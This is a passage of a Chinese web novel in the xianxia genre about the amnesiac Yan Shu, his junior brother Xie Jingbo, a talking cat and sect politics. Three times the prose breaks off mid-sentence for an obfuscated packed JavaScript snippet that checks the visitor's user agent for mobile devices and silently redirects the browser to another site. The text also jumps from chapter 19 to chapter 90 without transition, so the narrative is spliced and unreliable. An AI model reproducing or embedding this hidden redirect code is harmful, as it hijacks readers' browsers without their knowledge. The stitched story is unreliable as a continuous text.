边叙急急唤了两声,见怀里的人依旧无知无觉地垂着头,忍不住倏然抬起头。 “他怎么了?”边叙咬牙,“是不是你……” “你怎么不说是你们宗主对他做了什么?” 樾为之一巴掌把他输灵力的手打开,没忍住冷笑一声。 他毫不客气地一蹬腿踩到边叙肩头,垂下头用爪子轻轻拨弄了一下燕纾的眼皮,又碰了碰他唇角,沉声迅速开口。 “你点水沟、涌泉两穴,再寻一根尖细的东西,直刺风池。” ——这是重伤吊命时才会用的重穴,若真刺下去,就算醒了也不好受。 边叙手指顿了一下,下一秒,便听旁边一道冰冷的声音传来。 “放心,他死不了。” 樾为之冷笑一声:“他要是现在敢死在这里,去冥界我也要把他抓回来。” 边叙皱了皱眉,没有说话,下一刻,忽然感觉脖颈间微微一凉。 “但若是因为你让他出什么意外——你没死我也要把你打到鬼界去。” ——如果不是现在横在边叙咽喉前的是一只软乎乎、毛茸茸的猫爪外,这个威胁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14777727|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有点效果的。 边叙静了一瞬,感受着燕纾越来越弱的鼻息,闭了闭眼,手指倏然一转。 一根注着灵力的银针凭空出现在指间,紧接着毫不迟疑地落了下去。 银针入穴的那一刻,怀里的人同时闷哼一声,紧接着控制不住地骤然痉挛起来。 “按住他,别让他挣扎。”樾为之焦急开口。 燕纾脸色肉眼可见地迅速灰败下来。 他本就没什么血色的唇迅速由浅转青,额间布满了细细密密的冷汗,紧接着背脊骤然弓起,倏然撑起身子—— “咳咳——” 燕纾偏过头,咳出一口乌黑的淤血,紧接着一瞬脱力,脖颈后仰重重向后倒去。 但人好歹是清醒了过来。 边叙一把将人托住,另一边,樾为之也无声地吐了一口气。 ——好险,赌对了。 燕纾体内的伤势应是又有变化,他这一段时间没在他身边,还按照从前配了药,才导致气血逆行,一时受不住。 这伤势发展的情况有些快,樾为之皱了皱眉,却到底松了一口气,前爪一蹬落到燕纾腿上,没反应过来自己还是猫形,伸出爪子搭到他脉间自然开口。 “你下次要再敢这么吓我,你看我还管不管你……” 他话还没说完,便感觉面前的人呛咳着讶异抬头:“你是樾……” 樾为之倏然意识到什么,猫爪一颤,倏然收回爪,浑身的肥肉随着他的动作也抖了一下:“我不是……” 但为时已晚。 樾为之眼睁睁看着,燕纾的神情由讶然转为好笑,轻咳一声,抬手捏了捏白猫的后脖颈。 “好,真乖。” 樾为之:…… 旁边的边叙不明所以,燕纾也懂得见好就收。 他收回手撑坐起身,冲着边叙微微颔首。 “多谢边峰主又帮我一次。” 边叙皱了皱眉,有些不适应燕纾这般客气,别扭地别过头:“不用谢,要谢就谢你这只猫妖来的及时吧。” 燕纾笑眯眯点了点头,忽然一抬手,将樾为之直接揽到怀里:“当然,之后定给他多加条小鱼干。” 怀里的某人直接炸了毛。 “你松手——” 樾为之下意识挣扎,下一秒却感觉这白毛团子感受到熟悉的气息,后爪一缩,自然地窝着尾巴团成一团,在燕纾怀里蹭了蹭。 樾为之:…… 燕纾没忍住直接笑出了声,却又牵动了肺腑旧伤,断断续续地咳了起来。 边叙皱眉回过头。 他现在有满肚子的疑虑想要追问,忽然注意到什么,下意识扫视了一圈周围。 他神色间流露出几分不可置信:“这是……” “嗯?”燕纾眼前还是有些发晕,模模糊糊看不太清。 他闭上眼,抬手一点点揉着太阳穴,下一刻,却听面前的人低低开口:“这里是大师兄你……从前的愿曦阁。” 燕纾愣了一下,手指倏然攥紧。 下一秒,一声凄厉的猫叫从怀里传来。 “你大爷的燕纾,轻点——” 樾为之咬牙抬起头,却看燕纾似乎并没有听到他的话,而是有些恍然地怔在原地。 18.难过 跪坐在地上的人神情没有什么变化,呼吸却无意识间再次急促起来。 樾为之愣了一下,神情迅速凝重起来。 他按了按面前人的虎口,试图将人唤醒,见他没反应,咬了咬牙,蓦然抬起爪。 “嘶——” 手上的刺痛让燕纾猛然回神,他骤然吸了一口气,偏过头低低地呛咳起来。 “怎么了?” 旁边的边叙也闻声转过头。 他语气间依旧带着遮掩不住的惊讶:“你从前来过这里吗大师兄,我从来不知这里还有这样一处所在……” 他的声音在看到燕纾的状况后戛然而止。 面前的人捂着唇,半垂着头单手撑在地上,整个人摇摇欲坠。 “大师兄?” 边叙伸手想要将他扶住,下一秒却看到面前的人身子微侧,不着痕迹地避开了他。 “我没事……” 燕纾捂唇摇了摇头,冲着他弯了下眼:“让边峰主担心了,只是不知边峰主刚才说的……愿曦阁,是什么地方?” 边叙动作倏然一顿。 房间内一片寂静,面前的人脸上挂着清浅的笑意,眸光微敛,双眼间一派茫然,看起来是真的——毫不知情。 边叙垂在身侧的手一点点攥紧。 “你不知愿曦阁……” 他此时才后知后觉地意识到,即便他一再否认……面前的人确乎是真的失忆了。 因为视力还未恢复,双眼迷茫不知往何处聚焦的燕纾茫然眨了眨眼。 暗窗外隐约有脚步声传来,燕纾眼眸闪了闪,还没来得及说什么,便看到面前的人先一步倏然站起身。 “谢师弟……不,宗主应是来了。” 边叙仓皇后退一步,语无伦次地断续开口。 “师兄……燕公子你先休息,我出去见一下宗主,一会儿回……不,我还是先不回来,我不应出现在这里……” 燕纾眨了眨眼,看着面前的人慌乱转身,一头差点将旁边的案几撞翻。 他顿了一下,仰起头无辜开口:“边峰主小心……” 他话还没说完,便听“砰”的一声闷响,衣袍纷飞间,边叙慌不择路地一掌直接将房门拍开,大步流星地走了出去。 燕纾默然一瞬。 淡淡的幽兰香仿佛又弱了几分,燕纾垂下眼,在原地静坐了几秒,似是轻轻勾了勾唇。 一声戏谑的声音从旁边同时传来:“怎么?感动了?” 樾为之从他怀里跃下,抖了一圈蓬松的毛发,望着他悠悠开口:“没想到谢镜泊会把你曾经的屋子留下来?” 他顶着白猫的身子翘着尾巴转了一圈,“啧啧”开口:“确实舒适得怡,难怪你一进销春尽就吵着闹着要换屋子,原来就是想换回这间……” 他话还没说完,却听面前的人轻轻地笑了一声。 “感动?” 燕纾抬起眼,平静地勾了勾唇。 “我不是说了……我不知道这处愿曦阁是什么。” 樾为之神情一愣。 他看着面前的人撑起身,微微晃了一下,寻了个蒲团慢慢坐下,清隽的腕骨凹出一个细微的弧度。 “我的愿曦阁,早在从前被一把火烧没了。” “都是假的,我有什么好感动的。” · 暖阁外,边叙“砰”的一声将门关上。 他脑海中一片混乱,浑浑噩噩地抬脚往外走,刚转过一个拐角,忽然感觉面前多了一人。 紧接着,谢镜泊微沉的声音传来:“四师兄?” “师弟?” 边叙一时间没有反应过来自己身在何处,倏然抬起头焦急开口:“师弟,大师兄他的记忆到底怎么……” 他话还没说完,便听面前的人皱眉打断他的话。 “四师兄为何在这里?” 边叙愣了一下,后知后觉想起自己来这里的正事。 他闭了闭眼,深吸一口气,从兜里掏出一张薄帖,递了过去:“昨日学堂长老殿那弟子我已审完。” “他虽极力否认此事与长老殿有关,但我在他住处发现了大量沾有魔气的符纸,似是在进行反复演练,同时我还寻到——三长老独发的悬火帖。” 谢镜泊皱了皱眉。 长老殿三位坐镇长老,每人门下有专门用于差遣办事的三张悬火帖,帖令所指,无论何处,无事不成。 但悬火令不可能只用于学堂里小打小闹般,谢镜泊抬手将帖子接过,微微翻动了一下:“确认过了?” “已确认,悬火帖为真,上面有三长老特有的灵力印痕。” 边叙迅速开口:“只是还未确认三长老那边,是否有悬火贴发出或遗失。” 他抬头望向谢镜泊,声音再次压低了几分:“需要我再去查探……” 谢镜泊微微抬手,止住了他的话。 手指间那薄薄的一贴在烛火下闪烁着点点猩红,谢镜泊静了几秒,抬头望向边叙。 “多谢四师兄,之后的事不劳费心,四师兄先回去休息……” 他一边说一边侧过身,下一秒却忽然感觉面前横过一只手,紧接着,自家向来木讷迟缓的四师兄,以迅雷不及掩耳的速度拦到他身前。 “等一下——” “师弟,你为何要在你寝殿的密阁内,建一间大师兄曾经的愿曦阁?” 谢镜泊脚步一滞。 “四师兄原来刚才是从那里来。” 谢镜泊目光沉沉,无声勾了勾唇:“我从不知,四师兄何时有闯人寝殿的癖好……” “大师兄刚才晕倒在里面。”边叙直接打断了他的话。 谢镜泊身子一颤:“他如今……” “如今已没事了。”边叙匆匆开口。 他不待谢镜泊追问,继续迅速开口:“所以你到底为什么要建这么一处愿曦阁?又为什么把大师兄的禁闭放在这里……” “他又没做错事,我为何要关他禁闭。”谢镜泊侧过头,直接略过了他第一个问题,低声开口。 边叙皱眉:“可你还是把他关到这里……” 他神情疑惑,平缓的语气说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14781297|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着最激烈的词句:“大师兄失忆了,你不是真的要……软|禁,还是金屋藏娇……” ……谢镜泊感觉自己一瞬间看遍了民间那些话本子。 边叙自顾自说了一会儿,忽然意识到什么,不可置信地抬眼:“你是在保护他?” 谢镜泊没有说话,只静静望着他,面沉似水。 · 另一边,暖阁内。 樾为之看着床脚的人抱着双膝一动不动坐了许久,终于忍不住跃上床头,轻轻“啧”了一声:“怎么?难过了?” “嗯?” 燕纾有些恍惚地抬起眼,下意识扯出一个笑意:“我难过什么?” 他垂下眼,轻声开口:“仿制品虽是仿制,倒也挺逼真的……说起来,我应该高兴,当年我所有的东西都在那一场大火里都烧了个干净,也难为谢镜泊造了这么个所在……” 他嘴上这么说,语气却疏离漠然,连向来萦绕着些许笑意的桃花眼间,都没半分喜色。 “只是他既如此,早去做什么了。” 樾为之一时不言。 燕纾闭了闭眼,偏头咳了咳,哑着嗓子漫不经心地继续开口:“如今也不知,他建这处到底有什么目的……” 樾为之对燕纾的过往也大概知晓几分,无声地张了张口,到底也没能说出一字。 他前爪在地上烦躁地扒拉了两下,白猫被他的情绪带动,也“喵呜,喵呜”地呜咽起来。 燕纾闻声淡淡偏头,下一秒,却看那一团毛球忽得凑到他近前。 樾为之翘起尾巴,俯下身,艰难地用脑袋将燕纾的手一点点拱开,身子团到他腹间,有些嫌弃地把尾巴一点点缠到了他腕骨上。 燕纾一愣,神情间终于多了一份讶然:“你……” “别难过。” 樾为之从他怀里仰起头,轻声开口:“为过去的事情难过,不值当的。” 他一边说一边生疏地偏头想去蹭他掌心,却被这白猫会错了意,身子一扭,直接躺了个四脚朝天。 燕纾没忍住轻笑出声。 樾为之脸上有些发烫,但反正丢的又不是自己的脸,咬了咬牙,到底忍了过去。 他叹了口气,就着这个别扭的姿势,轻声开口:“你想做什么就去做,小纾。” “别怕,有我在你身后。” 燕纾捏了捏怀里猫咪爪下的肉垫,没有说什么,心情却明显好了几分。 樾为之无声地舒了一口气,又想到什么,警告般开口:“还有,我今日之事,绝不能让第二个人知道……” “好啊,”燕纾眨了眨眼,忽然弯下腰,笑眯眯凑到他近前,“那作为交换,你再叫一声来听听?” ……樾为之第一次深刻意识到,什么叫一片良心喂了狗。 他瞬间从燕纾怀里挣脱:“燕宿泱——” “好了,不闹你了。” 燕纾捂唇咳了咳,重新恢复了一派温然。 他抬起手捏了捏白猫的后脖颈:“帮我一个忙。” “去帮我听听那俩人在说些什么。” 19.委屈 樾为之没好气地瞪了燕纾一眼,爪子在床上扒拉了两下,到底也正色起来。 “我的灵气锁魂马上就要结束了,可能只能再维持一会儿,你一会儿注意一下。” 燕纾托着下巴笑眯眯地点头,樾为之也不再浪费时间,从床头一跃而下,扭着尾巴往前走了两步,忽然又想到了什么,重新转过头抖了抖耳朵。 “让这猫之后留下来陪你吧,反正也在边叙那过了明路,”樾为之想到了什么,嗤笑一声,“边叙若还以为他是借尸还魂,多少也能对你有些忌惮。” 燕纾愣了一下,哭笑不得地试图抗议:“不用,这猫留在这还得我照顾他……” “你想什么呢,”樾为之冷笑一声打断他的话,“留他在这里就是为了下次你再作死的时候能知会我一声。” ……燕纾无辜地眨了眨眼。 “还你照顾他,他照顾你别把自己搞死了还差不多。” 燕纾讨好般弯了弯眼,下一秒便看着樾为之如往常般鄙夷地瞪了他一眼,甩着尾巴,雄赳赳气昂昂地——扑腾了出去。 · 暖阁外,谢镜泊垂着眼,听着对面人一连串的追问。 “你想要防谁师弟,销春尽里有谁能值得你如此大费周章……” 边叙的目光落到谢镜泊手中的悬火帖上,声音戛然而止。 他倏然抬起头:“长老殿?” 边叙意识到了什么,神情蓦然沉了下来:“你还想要重查两年前的事……” 下一秒,谢镜泊手指一动,那悬火帖瞬间消失在两人间。 “四师兄多虑了。” 谢镜泊抬起头,目光沉沉:“四师兄今日也累了,还是早些回去休息吧……” “你不是一直认定,大师兄就是叛出宗门、堕入魔教。”边叙脚步一闪径直挡在他身前,声音也冷了下来。 “既如此,还有什么必要旧事重提——” 他话还没说完,忽然感觉面前一道威压骤然袭来,边叙猝不及防地后退一步,便看到面前的人径直掠过了他。 “四师兄请回吧。” 谢镜泊低声开口:“学堂的事既已查明,过几日我会把燕纾放出……” “九渊。” 谢镜泊的脚步倏然一滞。 边叙站在落后他半步的地方,望着面前如今已长为一宗之主的小师弟,又开口唤了一声他的名:“事到如今,你到底信不信他,九渊?” 一阵穿堂风从门廊前吹过,翻飞的衣袖带来彻骨的寒凉。。 他看着谢镜泊微微回过头,无声地吐出两个字。 边叙愣了一下,神情一时晦暗莫名。 他闭了闭眼,忽然匆匆向外走去:“好,我明日再来。” 谢镜泊皱眉:“你来做什么……” “记忆缺失是并非不可逆,大师兄失忆了,便是得了病,是病就总能治好的。” 边叙头也不回地越过他,木然开口:“我想让大师兄亲口说出,当年到底发生了什么。” 他的声音随着他的身影倏然消失在拐角。 谢镜泊定在原地。 方才边叙说的“燕纾晕倒在房中”的事在他脑海里萦绕,谢镜泊缓缓吐了一口气,到底慢慢转向了暖阁的方向。 下一秒,他神色忽然一凛,倏然转头,周身威压瞬间铺开:“谁?” 一阵窸窸窣窣的声音传来,紧接着一只胖乎乎的白猫晃晃悠悠从拐角处慢慢踱了过来。 他望着谢镜泊,下一秒忽然冷冷地口吐人言:“顽冥不灵。” 谢镜泊脸色一点点沉了下来。 他眸色微冷,缓缓抬手,面前那白猫不闪不避,只忽然抖了抖身子,眼眸似乎一瞬变的茫然,紧接着有些疑惑地歪了歪头。 谢镜泊周身灵力一点点聚拢,下一秒,忽然听到一个模糊的声音在不远处唤了一声。 谢镜泊怔了一瞬,不可置信地抬起头。 下一刻,一只骨节分明的手从黑暗中伸了出来,手腕轻压,漫不经心地将白猫缓缓举起。 “好久不见,谢宗主。” 燕纾从昏暗中一步步走出,将重新恢复懵懂的白猫揽在臂弯里,懒懒靠在墙边,随手打了个招呼。 “不好意思,家养的毛团刚学人言,不过都是囫囵吞枣,让您见笑了。” 谢镜泊脸色沉的可怕,却没有管白猫方才说的什么,而是哑声开口:“你之前唤了一声什么……” 燕纾垂着眼不去看他,只抬手逗弄着怀里的猫,淡淡开口:“谢宗主听错了吧?我方才未曾出声。” 谢镜泊皱了皱眉。 他还没来得及说什么,忽然看到面前的人身子晃了一下,捂住胸口低咳两声,有些哀怨地抬起头。 “谢宗主生这么大的气做什么,都弄痛我了。” 谢镜泊静了几秒,紧接着手指倏然一收,周身的灵力瞬间消散无踪。 下一秒,他便看着面前的人毫不留情地转过身,径直向后走去。 “你去哪?”谢镜泊瞬间脱口而出。 “回去关我的禁闭啊。” 燕纾抱着猫,似笑非笑地转回头,“阶下囚要有阶下囚的自觉,要不是这小东西突然跑出来,我也不应出现在这里。” 他一边说一边想起什么,懒洋洋地又冲着谢镜泊微微欠身:“宗主若要惩罚,悉听尊便。” 面前人虽勾着唇,笑意却未达眼底,甚至似乎隐约带着些淡漠疏离。 谢镜泊下意识皱眉:“我不是这个意思……” 他话音刚落,便看面前的人漫不经心点了点头,衣袖翻飞间,身影已倏然消失不见。 · 燕纾不知道,边叙最近抽了什么疯。 那天之后他又有点低烧,昏昏沉沉睡的不知今夕何夕。 等他好不容易迷迷糊糊退了烧,清醒了些许,一睁眼却发现不知何时,又回到了原来的住处。 燕纾倒也没什么反应。 他和谢镜泊都不约而同地避开了愿曦阁这件事。 燕纾最近本也不太想见到谢镜泊,干脆乐得个清净。 没想到偏偏又被边叙这个书呆子缠上了。 他从那日暖阁之后,每天便是藏书阁和他这里两点一线的往返,一边疏离地叫着他“燕公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14786229|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子”,一边隔几日便给他带一碗黑漆漆的苦药。 “这什么,我不想喝……” “燕公子不是在寻一味药吗,”边叙一边不顾他的抗拒将药碗塞到他手里,一边平静开口,“我虽未曾听闻,但或可根据燕公子的身体情况寻到更好的药方。” 燕纾被灌的苦不堪言,终于没忍住找了个由头躲出去了一天。 没想到第二天,边叙直接带了松一、松竹两个门神,美其名曰让燕纾帮忙监督。 燕纾直接被气笑了。 “松竹好学我能理解……” 燕纾揽着猫,半倚在榻上,一边托着腮,一边晃晃悠悠,忽然凑到松一身前:“你怎么也突然这么奋进了?” 他一边说一边低下头,轻轻“啊”了一声:“还是医书——看不出小师侄这么关心我的身体。” 松一的耳尖不知为何爆红一片。 他蓦然后仰,避开燕纾的触碰:“你别自作多情了……” 燕纾许久没有见过这么纯情的小弟子了。 他眨了眨眼,半撑起身子笑眯眯地又待凑近,下一秒却见松一直接从塌上起身,倏然后退了两步。 “——你别靠我那么近,我说了我才不是为你。” 松一深吸一口气,避开燕纾的目光。 “四方大典马上要开始了,到时四宗十三门的人都会前来,我是在为这个做准备……” 燕纾揽着猫的手指轻轻颤了一下,蓦然收紧。 怀里的猫咪“喵呜”一声,骤然从他怀里钻出来,径直就往门口跑去。 “哎——”松一下意识转身去追,却忽然感觉手腕一凉。 燕纾将他拉住,轻轻摇了摇头:“我去吧。” 松一怔了怔,下一秒只见面前的人毫不犹豫地转过身,迅速消失在门外。 · 谢镜泊转过竹林时,便又看到那只白猫孤零零地蹲坐在路中央。 他脚步一顿,还没来得及反应,下一秒便看那白猫颠颠地跑过来,径直往他脚下——扑了个脸朝地。 谢镜泊眉心跳了跳,却看那白猫仿佛没意识到哪里有问题般,抬起爪子在空中抓挠了一下,扑腾着又打了个滚。 ——谢镜泊第一次有一种,他是不是被讹上了的错觉。 他迟疑着蹲下身,缓缓开口:“你……是一直跟在燕纾身边的?” 猫咪四爪朝天躺在地上,歪着头,也不知听懂了没有。 谢镜泊闭了闭眼,到底还是忍不住低声开口:“他有没有同你提起……” 他话还没说完,忽然听到一个带着笑意的声音从身后传来。 “九渊?” 谢镜泊瞳孔骤然紧缩,不可置信地睁大眼。 刹那间他恍惚以为自己出现了幻觉,下一秒,却听燕纾清越的声音再次清晰地传来。 他又唤了一声:“九渊。” 谢镜泊整个人僵在原地。 那一瞬间他仿佛重新回到了从前,自己日暮练功回来,燕纾早早半倚在门前,漫不经心垂着眼,却在看到他时一瞬笑开的模样。 谢镜泊下意识无声张口。 90、坠崖 嗡然一声清越剑鸣从旁边传来,紧接着一个玄色身影凭空出现,稳稳挡在燕纾身前。 蒙巽冷笑一声,掌风一变,却不想下一秒旁边一根铁棍径直袭来,紧接着一把折扇更是从背后突兀浮现,锋利的扇骨重重打在他背上。 明夷、姜衍等人都不知何时已围了过来,边叙也持着长剑,慢慢吞吞挡在了小院门口。 蒙巽脸色一变,再顾不得许多,蓦然撤掌后退。 他听着燕纾轻声开口:“我派人搜寻过你的过往,意外发现我师父曾经某次因缘巧合下救过你。” “你为何又这般恩将仇报?” 蒙巽脸色阴沉的可怕,他已完全明白,今日就是为他设下的一个骗局。 “恩将仇报、救我……不过都是骗我,都是骗局!” 他忽然笑了起来:“谢宗主,你以为燕纾只骗了我吗?” “燕纾他也骗了你!” “你已知道他消去了你们的记忆,却不知他没有将完全的实情告诉你们吧?” 蒙巽猝然开口:“他没有跟你说当初他到底为何入魔——是因为他不敢!” 周围几人脸色都瞬息变了,姜衍与边叙神情间浮现出一抹担忧,明夷已忍不住直接破口大骂。 谢镜泊蹙了蹙眉,没有说话,蒙巽也不管他,目光死死落到几人身后的燕纾身上,果不其然一瞬看到他脸色已隐隐白了。 蒙巽心中暗暗冷笑,面上却显出一副悲天悯人的模样:“他当初控制不住,自愿入魔,结果却屠戮了许多人——” “闭嘴。”谢镜泊沉声开口,一剑直接袭向他咽喉。 蒙巽狼狈地侧身避过,口中却仍高声笑道:“你若不信,便问问他,到底有没有欺瞒?到底有没有将所有的实情告知……”周围似乎一瞬间安静下来,燕纾不知在想什么,怔怔地站在原地,琉璃色的眼眸间没有任何聚焦。 “师兄?”旁边的姜衍忍不住开口,声音间满是担忧。 “你没事吧,师兄……” 但他刚一开口,却看燕纾身子一颤,仿佛受到了莫大的惊吓般,后背“砰”的一声撞上身后的廊柱。 姜衍微微一怔。 燕纾脑海中一片混乱。他方才听到的第一反应,便是开口直接否认。但他口唇微张,到嘴的话却又一时卡在喉间。 他该怎么说? 说他确实欺瞒,隐瞒了一部分过往? 又说他……确然不敢告知? 燕纾眼前有些恍惚,撑住身后的木柱,望着对面姜衍等人担忧、焦急的神情,一时却觉得喘不上来气。 ——他无法解释,不能解释。 燕纾脸色一点点苍白起来,神情却在一片麻木的痛楚间,逐渐镇定下来。 不能让谢镜泊他们知道实情。 ——与其那般……不如就让他们恨自己。 燕纾眼眸一点点空洞,沉默的神情仿佛就是无声的默认。 姜衍神情间闪过一丝不可置信,仍旧不死心地死死盯着燕纾,旁边的明夷已忍不住焦急开口。 “大师兄,你怎么了?是又难受了吗?没事,你不说我们也相信你,我现在便帮你去揍这个混蛋——” 蒙巽心中越发畅快,抬手直接横了一道魔障挡在身前,高声肆意开口:“你瞧,燕公子,你看到他们知道真相后的嘴脸了吗?”“他们对你那般厌弃、愤怒,即便你之前为他们做了那么多,他们仍旧对你唯恐避之不及——这就是所谓名门正派的嘴脸。”他轻声开口,声音中似乎带上了些许怜悯。 “恶人可以改邪归正,放下屠刀立地成佛,名门正道不允许有一点错漏,一招错,满盘皆是恶——这就是所谓的名门正道!”“你如今还要维护他们,还要替他们护下一切——” “我知道他没有没有过去全部说出。”谢镜泊忽然开口,冷声直接打断他的话。 蒙巽微微一愣,燕纾耳畔“嗡”的一声,倏然抬起头。 他听着谢镜泊一字一顿轻声开口。“我知道师兄当初并非自愿。”“而是为了救我们。” 徐徐微风自水榭间穿堂而过,卷起青砖间残落白花。 燕纾神情间带着几分无措与不可置信。 他能听到自己的急促呼吸,胸膛仿佛沉在水底,每一次吸入的仿佛不是空气,而是无尽的窒息与惶恐。 他没想到谢镜泊竟然直接将他的未说出口的伪装揭穿。 “你怎么……” 燕纾哑声开口,一时却呛了一口气,踉跄着撑住旁边的石桌,扣在胸口的指尖青白。 ——谢镜泊怎么会知道? ——他若知道了……他若知道,会不会…… “不可能,你怎么可能知道,燕纾不可能告诉你——” 蒙巽先一步反应过来,声音间又带上了一抹讥讽的笑意,“你自己猜的对不对,你被他骗了,都是你一厢情愿……”"师兄确实没有告诉我。" 谢镜泊低声开口,微尘里一声轻啸,一剑破开魔障,剑尖微颤,直指蒙巽喉间。 “是我自己看到的。” 樾为之说的没错,燕纾心神确实已经很虚弱了。 那天他通过摄神将自己的记忆向谢镜泊敞开,并没有意识到自己昏过去了一会儿。谢镜泊一瞬接住那人软倒下去的身子,慌乱间窥到了燕纾隐瞒的那一部分记忆。 三年前,魔族入侵时。 怀里的姜衍已经失去了意识,燕纾扶着人小心靠在树旁,忽然听到身后一阵急促的脚步声传来。 【师兄——】 燕纾怔怔回头,只看到一道黑影从面前闪过,紧接着便感觉怀里一沉。一路的风尘仆仆夹杂着熟悉的幽兰香扑了他满怀,谢镜泊焦急的声音同一刻从面前传来。【你怎么样师兄?有没有哪里受伤?我已经尽快赶回来了,路上好多小的仙门似乎已经沦陷,销春尽发生了什么?你脸色怎么这般差……】燕纾几乎从来没听自家这个小师弟一次性说过这么多话。 他愣了几秒,感受着谢镜泊小心翼翼将他扶起,焦急却迅速地检查了一遍,混沌的心神竟然一点点平和下来。 【我没事。】 他笑了一下,摇了摇头扶着谢镜泊的手臂坐起,又按了一下姜衍的脉搏。 谢镜泊此时也才注意到旁边的姜衍:【二师兄受伤了?严不严重……】 【没事,就是失血有些多,经脉没大影响。】 燕纾收回手,轻声开口:【我给边叙和明夷都传了讯,一会儿让他们赶回来守在这里就好。】 他撑着旁边的树干想要站起身,冷不丁身子忽然晃了一下,被谢镜泊眼疾手快地一把拉住手腕。 燕纾舒了一口气,不以为意地想要将手抽回来:【没事,蹲久腿有些发麻。】 谢镜泊执拗地不肯放,燕纾也没在意,拉着人往前走着,言简意赅地将大致的情况说了一遍。 【有人引魔族入侵,攻入仙门,销春尽如今还算抵挡住了,我去长老殿那边看一眼,看看是否有遗漏,你去另一边带着其他弟子再守一下,不要让魔族大肆攻入。】他顿了顿,又安慰般轻轻捏了捏谢镜泊的手指。 【不会有事的,很快就结束了,别怕。】 这话仿佛意有所指,但谢镜泊对燕纾向来都是全然信赖,只认真地点了点头。 长老殿那边离魔气聚集处较远,燕纾应当不会有太大危险。 谢镜泊倒也没有异议,点了点头,望着自家师兄清瘦的背影,心中倒也真的慢慢安定下来。 掌心间握着的手指依旧冰凉,谢镜泊下意识小心捂了捂,下一秒却忽然察觉到了一点异样。 一无所知的人平静转过身,忽然感觉脉门处一紧。 燕纾被拉的一个踉跄,后退一步,单薄的脊背正正撞上身后人的胸膛。 他低低“嘶”了一声,一时不记得自家小师弟身子骨什么时候这般结实了,却忽略了自己如今已如一个易碎的瓷瓶般。 【你做什么?扶着我点,撞的我头晕……】 他不自觉有一些气促,声音虚弱空茫,尾音还未说完,便被谢镜泊的声音沉沉压了下去。 【你的灵力怎么了,师兄?】 燕纾话语一顿。 脉门下的经脉近乎枯竭,原本温和的灵力此时若有若无,连脉搏跳动也微弱异常。 谢镜泊两指扣住他的脉门,极力压抑着心中的恐慌。 他死死盯着面前的人,见燕纾不说话,抬手又想去探他的内府。 下一秒却感觉手中一空,面前的人若无其事地抽回手,直接后退一步落到了阴影里。 【没什么,你摸错了。】 他抬头笑了笑,语气平静自然:【我平常身子不就这样,这几日没休息好有些生病,体虚气短,脉象弱也是正常的。】燕纾平日里身子确实不好,偶尔灵力波动、肺腑受损的情况也有发生,连姜衍有时候也摸不准燕纾的脉象。谢镜泊方才一瞬吓的仿佛心跳骤停,惶恐的不知所措。如今后背湿漉漉的冷汗贴上来,让他心中的忧惧倒是慢慢降低了几分。若寻常修仙之人一朝灵力尽失,别说行动自如了,连性命都堪忧。燕纾如今除了脸色苍白些,确实没什么异常。谢镜泊疑心自己确实是摸错了,但又总觉得哪里不对劲。 他有心想让燕纾留下来陪着二师兄,但如今销春尽已是摇摇欲坠,岌岌可危。 ——谢镜泊说不出口,燕纾也断然不会同意。 无奈,他只能亦步亦趋地跟在燕纾身后,目光定定地望着自家师兄的后背,仿佛想用肉眼看出个究竟。 一路上,仙门破碎,满目疮痍。 几乎每隔几步便有哀鸣的魔息蓦然窜出,叫嚣着向他们扑来。 这些不过都是魔族蝼蚁,谢镜泊节省体力,并没有唤出微尘里,直接抬手用灵力将他们碾碎。 而燕纾却不知为何一直在用八万春抵挡,并没有动用丝毫灵力。 【别看了,盯了我一路了,还没看够啊。】 走到长老殿那处岔路口,燕纾缓了一口气,抬手将八万春重新绕回手腕,促狭般扭过头。 【从前也没见你这般黏我,怎么今日这般舍不得?】 【我没有……】谢镜泊手腕一抖,一个颤颤巍巍刚躲进草丛的小魔尖叫一声,倏然灰飞烟灭。 他红着脸别过眼,便看燕纾已笑着摆了摆手:【行了,我先走了,你去那边再巡一圈……】 谢镜泊愣了一下猝然又转过头,终于忍不住开口:【我同你一起过去吧,师兄。】 面前的人脚步顿了一下,似有些无奈回过头:【干什么?你都跟了我这么久了,还不相信我没事吗?】 【不是的,师兄,我只是想左右长老殿也没多远,我和你过去确认一下无事便一同回来,若有什么异常我还能一起帮忙……】谢镜泊没有正面回答,只焦急开口。 他话还没说完,忽然听到身后一道尖锐的啸鸣声袭来。 谢镜泊倏然回过头,同一刻,一股磅礴的灵力掠过他耳畔,将那狰狞扑过来的魔息蓦然击退。 燕纾慢慢收回手,喉头轻轻滚了滚。 他看着谢镜泊有些讶然地转过头,叹了一口气,慢悠悠开口:【你如今还不信我没事吗?】 下一刻,面前的人直接快步上前,一把按住他的手。 